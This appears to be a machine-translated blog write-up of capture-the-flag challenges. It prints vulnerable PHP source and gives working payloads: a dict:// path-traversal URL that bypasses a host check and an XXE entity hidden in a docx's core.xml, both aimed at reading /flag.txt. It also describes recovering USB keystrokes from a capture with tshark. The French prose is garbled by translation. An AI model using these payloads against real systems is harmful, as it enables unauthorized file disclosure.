Lin Yi Bo portion WP

Aujourd'hui, jouer à un jeu, j'ai appris beaucoup de choses, écrire et rappelez-vous.

web2

Cette question m'a fait longtemps, très impressionné.
Après le début des paramètres du fichier se trouvent être decode deux fois par nom de fichier. Lire le fichier index.php, en <img>vue de la. après décodage base64, comme suit:

<?php
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['file']))
    header('Refresh:0;url=./index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==');
$file = base64_decode(base64_decode($_GET['file']));
echo '<title>'.$_GET['file'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo 'input_filename:   '. $file.'</br>';
$file = str_replace("ctf","flag", $file);
echo 'real_filename:   '.$file.'</br>';
$txt = base64_encode(file_get_contents($file));
 
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 * Hint: hal0flagi5here.php
 */
 ?>

Lorsque vous êtes invité, lire le fichier de code source, comme suit:

<?php
$argv[1]=$_GET['url'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
	$r = parse_url($argv[1]);
	print_r($r);
	if(preg_match('/happyctf\.com$/',$r['host']))
	{
		$url=file_get_contents($argv[1]);
		echo($url);
	}else
	{
		echo("error");
	}
}else
{
	echo "403 Forbidden";
}
?>

Ici , je suis coincé. Après Gangster a incité savoir il y a dict://accord. Ensuite @by - pass le fichier hôte lu test est effectué pour obtenir le drapeau.
charge utile:?url=dict://@happyctf.com/../../../../../../../flag.txt

web4

Parce que je ne l' ai pas vu, donc écrire le dossier que, une question similaire dans celle - ci: https://www.jianshu.com/p/40d6d0e7117f
aujourd'hui Cette question nous rappelle .bak les fichiers téléchargés source comme suit:

<?php
if(isset($_POST["submit"])) {
    $target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        try {
            $result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
            $xml = new SimpleXMLElement($result, LIBXML_NOENT);
            $xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
            foreach($xml->xpath('//dc:title') as $title){
                echo "Title '".$title . "' has been added.<br/>";
            }
        } catch (Exception $e){
            echo $e;
            echo "上传文件不是一个docx文档.";
        }
    } else {
        echo "上传失败.";
    }
}
?>

fichier doc est en fait un fichier zip.
On peut voir dans core.xml ils liront le fichier doc avec zip dans l'accord. Et le fichier <dc:title>soit lu et ajouté directement à. Nous le voyons dans le téléchargement Sample.doc, le suffixe modify sera docProps/core.xmlmodifié pour:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root[
  <!ENTITY xxe SYSTEM "/flag.txt">
  ]>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created>
  <dcterms:modified xsi:type="dcterms:W3CDTF">2015-08-01T19:01:00Z</dcterms:modified>
  <dc:title>&xxe;</dc:title>
  <cp:revision>1</cp:revision>
</cp:coreProperties>

Vous pouvez obtenir le drapeau après le téléchargement.

Divers-clavier

flux claviers USB, reportez - vous à l'article suivant
https://www.cnblogs.com/hackxf/p/10670844.html
ouvert comprimé, et a trouvé un u.pcapngfichier et le fichier crypté secret.zip.
Avec la tshark -r u.pcapng -T fields -e usb.capdata > usbdata.txtcommande, l' exporter vers un usbdata de fichier. (Tous les deux nombres séparés par deux points de sortie normale sera plus faible, sinon, vous devez me écrire un script colon).
La réutilisation Wang Accrocher scénario Gangster Une course, vous pouvez obtenir une chaîne de caractères, puis utilisez vim chaîne brillante à écrire dans linux vous pouvez obtenir les fichiers de mot de passe crypté. Décryptage peut être obtenu drapeau.

Publié 37 articles originaux · louange gagné 2 · Vues 1414

Je suppose que tu aimes

Origine blog.csdn.net/weixin_44377940/article/details/105152632
conseillé
Classement